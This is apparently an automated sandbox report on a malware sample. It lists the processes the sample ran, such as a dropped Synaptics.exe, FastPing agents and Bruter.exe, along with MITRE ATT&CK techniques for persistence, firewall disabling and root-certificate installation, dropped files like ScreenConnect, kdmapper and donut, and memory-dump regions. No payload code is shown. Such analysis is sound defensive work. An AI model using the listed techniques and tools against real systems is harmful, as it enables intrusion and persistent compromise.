C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6808 -ip 68081⤵
-
C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exeC:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe" /boot1⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Users\Admin\AppData\Roaming\conhost.exe"C:\Users\Admin\AppData\Roaming\conhost.exe" ..1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Modify Authentication Process
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Authentication Process
1Modify Registry
3Subvert Trust Controls
2Install Root Certificate
1SIP and Trust Provider Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
Synaptics.exe
scre...exe_25b0fbb6ef7eb094_0019.0002_none_867d819169b5504f.cdf-ms
scre..core_4b14c015c87c1ad8_0019.0002_none_41e6e31d258051c3.cdf-ms
scre..dows_4b14c015c87c1ad8_0019.0002_none_465ebafe61ce64f3.cdf-ms
scre..ient_4b14c015c87c1ad8_0019.0002_none_a32dbc410e6434d0.cdf-ms
scre..ient_4b14c015c87c1ad8_0019.0002_none_d7fc40ef34cfa7c7.cdf-ms
scre..tion_25b0fbb6ef7eb094_0019.0002_none_2771bb27d0341a32.cdf-ms
scre..vice_4b14c015c87c1ad8_0019.0002_none_f33a7b65bb3fb52e.cdf-ms
1mn4zjq3.newcfg
app.config
b1b2wzvn.newcfg
chgrktzv.newcfg
user.config
xitkpawg.newcfg
Local State
settings.dat
settings.dat
the-real-index
the-real-index~RFe5d7a72.TMP
SiteList-Enterprise.json
Edge Profile.ico
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Preferences
Secure Preferences
index.txt
index.txt
index.txt~RFe5d03fa.TMP
sync_diagnostic.log
Local State
Local State
Local State
Local State
299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
metadata.json
._cache_Synaptics.exe
AF195E00
MKDMNV49.B8H.application
ScreenConnect.Client.dll
ScreenConnect.Client.dll.genman
ScreenConnect.ClientService.dll
ScreenConnect.ClientService.dll.genman
ScreenConnect.ClientService.exe
ScreenConnect.Core.dll
ScreenConnect.Core.dll.genman
ScreenConnect.Windows.dll
ScreenConnect.Windows.dll.genman
ScreenConnect.WindowsBackstageShell.exe
ScreenConnect.WindowsClient.exe
ScreenConnect.WindowsClient.exe.config
ScreenConnect.WindowsClient.exe.genman
ScreenConnect.WindowsClient.exe.manifest
ScreenConnect.WindowsFileManager.exe
00231.exe
1.exe
1158-27.exe
13.exe
444.exe
BootstrapperNew.exe
BruterV3.1.exe
CFXBypass.exe
DragonBalls76Ace.exe
EmmetPROD.exe
Isass.exe
JUpdate.exe
MC_setup.exe
PCclear_Eng_mini.exe
compiled.exe
cssgo.exe
donut.exe
fastping_silent_v4.exe
file_a8b257b458693ac9.exe
jd145.exe
jd145.exe
kdmapper_Release.exe
kg.exe
main.exe
online.exe
support.client.exe
ui.exe
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_tkinter.pyd
_uuid.pyd
base_library.zip
libcrypto-1_1.dll
libffi-8.dll
libssl-1_1.dll
python311.dll
select.pyd
tcl86t.dll
msgcat-1.6.1.tm
auto.tcl
cp1252.enc
pkgIndex.tcl
init.tcl
pkgIndex.tcl
package.tcl
tclIndex
tm.tcl
tk86t.dll
button.tcl
entry.tcl
icons.tcl
listbox.tcl
pkgIndex.tcl
tk.tcl
__PSScriptPolicyTest_111jaqrw.fo0.ps1
bcaa08d8-9116-42a7-ad15-625665cf920b.tmp
settings.dat
Local State
Local State
Local State~RFe5d57a8.TMP
hD9O7M9x.xlsm
DLLWebCount.dll
nsExec.dll
content_new.js
MANIFEST-000001
index
CURRENT
data_0
data_1
data_2
data_3
memory/680-182-0x00007FF784A30000-0x00007FF784A70000-memory.dmp
memory/680-179-0x0000025C29C40000-0x0000025C29C41000-memory.dmp
memory/1208-123-0x0000000005450000-0x00000000054EC000-memory.dmp
memory/1208-122-0x0000000000910000-0x0000000000918000-memory.dmp
memory/1208-169-0x0000000072C22000-0x0000000072C23000-memory.dmp
memory/1208-121-0x0000000072C22000-0x0000000072C23000-memory.dmp
memory/2260-226-0x0000000000400000-0x0000000000426000-memory.dmp
memory/2260-223-0x0000000000400000-0x0000000000426000-memory.dmp
memory/2276-2021-0x00000000005B0000-0x00000000005C0000-memory.dmp
memory/2964-1285-0x0000000002200000-0x0000000002210000-memory.dmp
memory/3212-2482-0x0000000000760000-0x00000000007F8000-memory.dmp
memory/3212-2589-0x00000000010A0000-0x00000000010B8000-memory.dmp
memory/3372-1498-0x000002DCA7DC0000-0x000002DCA7DC8000-memory.dmp
memory/3372-1510-0x000002DCA8180000-0x000002DCA818A000-memory.dmp
memory/3372-1469-0x000002DC8C750000-0x000002DC8CA30000-memory.dmp
memory/3372-1502-0x000002DCA7FC0000-0x000002DCA80C0000-memory.dmp
memory/3372-1503-0x000002DCA7F40000-0x000002DCA7F4A000-memory.dmp
memory/3372-1501-0x000002DCA7E10000-0x000002DCA7E1E000-memory.dmp
memory/3372-1487-0x000002DC8CF20000-0x000002DC8CF30000-memory.dmp
memory/3372-1513-0x000002DCA81D0000-0x000002DCA81D8000-memory.dmp
memory/3372-1508-0x000002DCA8190000-0x000002DCA8198000-memory.dmp
memory/3372-1509-0x000002DCA81A0000-0x000002DCA81B6000-memory.dmp
memory/3372-1500-0x000002DCA7F80000-0x000002DCA7FBE000-memory.dmp
memory/3372-1507-0x000002DCA8150000-0x000002DCA8176000-memory.dmp
memory/3372-1512-0x000002DCA8140000-0x000002DCA814A000-memory.dmp
memory/3392-2077-0x00000230BADD0000-0x00000230BAF7C000-memory.dmp
memory/3392-1436-0x000002309BEA0000-0x000002309BEA8000-memory.dmp
memory/3392-2055-0x00000230B84F0000-0x00000230B8526000-memory.dmp
memory/3392-2041-0x00000230B8580000-0x00000230B860C000-memory.dmp
memory/3392-1437-0x00000230B6540000-0x00000230B66C8000-memory.dmp
memory/3392-2061-0x00000230B82A0000-0x00000230B82B8000-memory.dmp
memory/3392-2025-0x00000230B86F0000-0x00000230B8788000-memory.dmp
memory/3392-1455-0x00000230B8400000-0x00000230B8450000-memory.dmp
memory/3464-1516-0x0000000000400000-0x000000000074C000-memory.dmp
memory/3464-2608-0x0000000000400000-0x000000000074C000-memory.dmp
memory/3464-3135-0x0000000000400000-0x000000000074C000-memory.dmp
memory/3464-3297-0x0000000000400000-0x000000000074C000-memory.dmp
memory/3464-1934-0x0000000000400000-0x000000000074C000-memory.dmp
memory/3528-1517-0x0000000005140000-0x00000000051BC000-memory.dmp
memory/3528-1518-0x0000000005450000-0x0000000005528000-memory.dmp
memory/3528-1511-0x0000000000640000-0x0000000000706000-memory.dmp
memory/3788-1-0x00000000004A0000-0x00000000004A1000-memory.dmp
memory/3788-120-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/3788-0-0x0000000002290000-0x0000000002291000-memory.dmp
memory/3844-168-0x0000000000400000-0x00000000004C2000-memory.dmp
memory/3844-201-0x0000000000400000-0x00000000004C2000-memory.dmp
memory/3844-213-0x0000000000400000-0x00000000004C2000-memory.dmp
memory/3844-188-0x0000000000400000-0x00000000004C2000-memory.dmp
memory/4500-124-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/4500-127-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/4500-126-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/4500-128-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/4500-129-0x00007FFB53F60000-0x00007FFB53F70000-memory.dmp
memory/4500-132-0x00007FFB53F60000-0x00007FFB53F70000-memory.dmp
memory/4500-125-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/4692-1679-0x00000211E7C90000-0x00000211E7CAA000-memory.dmp
memory/4692-1673-0x00000211E7670000-0x00000211E77C4000-memory.dmp
memory/4700-2612-0x00000204688E0000-0x000002046892E000-memory.dmp
memory/4700-2611-0x0000020469130000-0x00000204691E2000-memory.dmp
memory/4916-1416-0x0000015B70050000-0x0000015B7006E000-memory.dmp
memory/4916-1417-0x0000015B703C0000-0x0000015B70472000-memory.dmp
memory/4916-1418-0x0000015B70070000-0x0000015B7007A000-memory.dmp
memory/4916-1451-0x0000015B707A0000-0x0000015B70962000-memory.dmp
memory/4916-1419-0x0000015B705D0000-0x0000015B705FA000-memory.dmp
memory/4916-1467-0x0000015B705D0000-0x0000015B705EE000-memory.dmp
memory/4916-1413-0x0000015B6FF90000-0x0000015B6FFB2000-memory.dmp
memory/4916-1420-0x0000015B705D0000-0x0000015B705F4000-memory.dmp
memory/5324-1514-0x00000000059A0000-0x00000000059EC000-memory.dmp
memory/5324-2600-0x00000000077F0000-0x0000000007840000-memory.dmp
memory/5324-2160-0x0000000007650000-0x00000000076E2000-memory.dmp
memory/5324-1499-0x0000000005A60000-0x0000000005B38000-memory.dmp
memory/5324-1497-0x00000000056A0000-0x000000000571C000-memory.dmp
memory/5324-2117-0x0000000007B70000-0x000000000812A000-memory.dmp
memory/5324-1480-0x0000000000B10000-0x0000000000BE0000-memory.dmp
memory/5324-1635-0x0000000006E30000-0x0000000006F22000-memory.dmp
memory/5324-1659-0x0000000006E00000-0x0000000006E32000-memory.dmp
memory/5324-1684-0x00000000073A0000-0x0000000007406000-memory.dmp
memory/5692-1297-0x0000000000400000-0x000000000052A000-memory.dmp
memory/5692-1496-0x0000000000400000-0x000000000052A000-memory.dmp
memory/5852-131-0x0000000000400000-0x00000000004C2000-memory.dmp
memory/5924-1446-0x00007FF7E24E0000-0x00007FF7E251A000-memory.dmp
memory/5924-1445-0x00007FF7E24E0000-0x00007FF7E251A000-memory.dmp
memory/6492-2831-0x0000025865650000-0x0000025865682000-memory.dmp
memory/6492-2813-0x000002587E950000-0x000002587EA42000-memory.dmp
memory/6808-1978-0x0000000000A30000-0x0000000000A38000-memory.dmp
memory/6864-2816-0x0000000005950000-0x0000000005A28000-memory.dmp
memory/6864-2815-0x00000000056B0000-0x000000000572C000-memory.dmp
memory/6864-2812-0x0000000000C40000-0x0000000000D0E000-memory.dmp
memory/6948-3236-0x00007FFB328D0000-0x00007FFB328E6000-memory.dmp
memory/6948-3238-0x00007FFB32890000-0x00007FFB328A7000-memory.dmp
memory/6948-2862-0x00007FFB360D0000-0x00007FFB3643F000-memory.dmp
memory/6948-2830-0x00007FFB61580000-0x00007FFB6159A000-memory.dmp
memory/6948-2872-0x00007FFB328F0000-0x00007FFB32927000-memory.dmp
memory/6948-2939-0x00007FFB33270000-0x00007FFB33288000-memory.dmp
memory/6948-2938-0x00007FFB333C0000-0x00007FFB333ED000-memory.dmp
memory/6948-2814-0x00007FFB874A0000-0x00007FFB874AD000-memory.dmp
memory/6948-3018-0x00007FFB328D0000-0x00007FFB328E6000-memory.dmp
memory/6948-3051-0x00007FFB328B0000-0x00007FFB328C2000-memory.dmp
memory/6948-3053-0x00007FFB32860000-0x00007FFB32890000-memory.dmp
memory/6948-3052-0x00007FFB32890000-0x00007FFB328A7000-memory.dmp
memory/6948-3017-0x00007FFB33300000-0x00007FFB333B6000-memory.dmp
memory/6948-3136-0x00007FFB331E0000-0x00007FFB33206000-memory.dmp
memory/6948-3139-0x00007FFB32210000-0x00007FFB32253000-memory.dmp
memory/6948-2778-0x00007FFB33300000-0x00007FFB333B6000-memory.dmp
memory/6948-3147-0x00007FFB321C0000-0x00007FFB321EC000-memory.dmp
memory/6948-3150-0x00007FFB320A0000-0x00007FFB32164000-memory.dmp
memory/6948-2829-0x00007FFB331E0000-0x00007FFB33206000-memory.dmp
memory/6948-2777-0x00007FFB63A40000-0x00007FFB63A67000-memory.dmp
memory/6948-2748-0x00007FFB46200000-0x00007FFB46645000-memory.dmp
memory/6948-3219-0x00007FFB63A40000-0x00007FFB63A67000-memory.dmp
memory/6948-3221-0x00007FFB63A20000-0x00007FFB63A3C000-memory.dmp
memory/6948-3227-0x00007FFB333C0000-0x00007FFB333ED000-memory.dmp
memory/6948-2828-0x00007FFB86CB0000-0x00007FFB86CBB000-memory.dmp
memory/6948-3231-0x00007FFB331E0000-0x00007FFB33206000-memory.dmp
memory/6948-3237-0x00007FFB328B0000-0x00007FFB328C2000-memory.dmp
memory/6948-3240-0x00007FFB32210000-0x00007FFB32253000-memory.dmp
memory/6948-3239-0x00007FFB32860000-0x00007FFB32890000-memory.dmp
memory/6948-2832-0x00007FFB330C0000-0x00007FFB331D2000-memory.dmp
memory/6948-3233-0x00007FFB32930000-0x00007FFB33024000-memory.dmp
memory/6948-2749-0x00007FFB333C0000-0x00007FFB333ED000-memory.dmp
memory/6948-3235-0x00007FFB33270000-0x00007FFB33288000-memory.dmp
memory/6948-3234-0x00007FFB328F0000-0x00007FFB32927000-memory.dmp
memory/6948-3232-0x00007FFB330C0000-0x00007FFB331D2000-memory.dmp
memory/6948-3228-0x00007FFB33300000-0x00007FFB333B6000-memory.dmp
memory/6948-3230-0x00007FFB86CB0000-0x00007FFB86CBB000-memory.dmp
memory/6948-3229-0x00007FFB874A0000-0x00007FFB874AD000-memory.dmp
memory/6948-3226-0x00007FFB360D0000-0x00007FFB3643F000-memory.dmp
memory/6948-3225-0x00007FFB61540000-0x00007FFB61551000-memory.dmp
memory/6948-3224-0x00007FFB87910000-0x00007FFB8791D000-memory.dmp
memory/6948-3223-0x00007FFB61580000-0x00007FFB6159A000-memory.dmp
memory/6948-3218-0x00007FFB46200000-0x00007FFB46645000-memory.dmp
memory/6948-3220-0x00007FFB88410000-0x00007FFB8841F000-memory.dmp
memory/6948-3222-0x00007FFB625C0000-0x00007FFB625EE000-memory.dmp
memory/6948-2638-0x00007FFB360D0000-0x00007FFB3643F000-memory.dmp
memory/6948-2614-0x00007FFB61540000-0x00007FFB61551000-memory.dmp
memory/6948-2613-0x00007FFB87910000-0x00007FFB8791D000-memory.dmp
memory/6948-2609-0x00007FFB61580000-0x00007FFB6159A000-memory.dmp
memory/6948-2605-0x00007FFB625C0000-0x00007FFB625EE000-memory.dmp
memory/6948-2604-0x00007FFB63A20000-0x00007FFB63A3C000-memory.dmp
memory/6948-2603-0x00007FFB88410000-0x00007FFB8841F000-memory.dmp
memory/6948-2602-0x00007FFB63A40000-0x00007FFB63A67000-memory.dmp
memory/6948-2590-0x00007FFB46200000-0x00007FFB46645000-memory.dmp
memory/6948-2838-0x00007FFB32930000-0x00007FFB33024000-memory.dmp
memory/6948-2835-0x00007FFB61540000-0x00007FFB61551000-memory.dmp
memory/8180-3151-0x00000267FDFA0000-0x00000267FE092000-memory.dmp